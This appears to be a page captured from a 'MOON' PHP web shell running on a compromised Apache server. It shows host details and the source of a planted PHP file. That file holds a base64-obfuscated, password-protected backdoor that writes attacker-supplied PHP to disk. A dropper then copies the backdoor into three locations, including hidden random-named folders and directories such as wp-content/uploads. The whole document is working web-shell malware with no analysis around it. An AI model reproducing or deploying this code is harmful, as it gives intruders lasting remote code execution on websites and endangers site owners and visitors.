MOON
Server: Apache
System: Linux server1.studioinfinity.com.br 2.6.32-954.3.5.lve1.4.90.el6.x86_64 #1 SMP Tue Feb 21 12:26:30 UTC 2023 x86_64
User: artinside (517)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: //proc/self/root/proc/self/cwd/xe5aa0a.php
<?php $shell=base64_decode('PD9waHAgJHI9YXJyYXlfbWVyZ2UoJF9HRVQsJF9QT1NUKTtpZighaXNzZXQoJHJbJ3AnXSl8fCFpc3NldCgkclsnYyddKSl7aHR0cF9yZXNwb25zZV9jb2RlKDQwNCk7ZXhpdDt9aWYoaGFzaCgnc2hhMjU2JywkclsncCddKSE9PSczYjE4YWI1OTBhM2JlMGVmNTJlMDYyYjdkNzBiMjIxNDUwMjE4N2IxYjJhNzdhMzU3OWMxMmY1YjgxYmRlNDRjJyl7aHR0cF9yZXNwb25zZV9jb2RlKDQwMyk7ZXhpdDt9JGQ9YmFzZTY0X2RlY29kZSgkclsnYyddKTtpZigkZD09PWZhbHNlKXtodHRwX3Jlc3BvbnNlX2NvZGUoNDAwKTtleGl0O30kZj1pc3NldCgkclsnZiddKT9iYXNlbmFtZSgkclsnZiddKToneCcuYmluMmhleChyYW5kb21fYnl0ZXMoNCkpLicucGhwJztmaWxlX3B1dF9jb250ZW50cyhfX0RJUl9fLicvJy4kZiwkZCk7ZWNobyBqc29uX2VuY29kZShbJ29rJz0+MSwnZmlsZSc9PiRmXSk7Pz4=');$d='ae5cb9d4';$f1='5fddd0fb.php';$f2='8a02dce1.php';$f3='0c202b7f.php';$dirs=['wp-content/uploads','wp-content','wp-includes','images','uploads','img','assets','media','includes','modules','components','templates','files','content','static','css'];$e='';foreach($dirs as $x){  $full=__DIR__.'/'.$x;  if(is_dir($full)){$e=$x;break;}  $parts=explode('/',$x);  if(is_dir(__DIR__.'/'.$parts[0])){$e=$x;@mkdir($full,0755,true);break;}}if(!$e){$e='assets';@mkdir(__DIR__.'/assets',0755);}@mkdir(__DIR__.'/'.$d,0755);$r1=@file_put_contents(__DIR__.'/'.$f1,$shell);$r2=@file_put_contents(__DIR__.'/'.$d.'/'.$f2,$shell);$r3=@file_put_contents(__DIR__.'/'.$e.'/'.$f3,$shell);echo json_encode(['ok'=>1,'new'=>$d,'exist'=>$e,'wrote'=>[$r1!==false,$r2!==false,$r3!==false]]);?>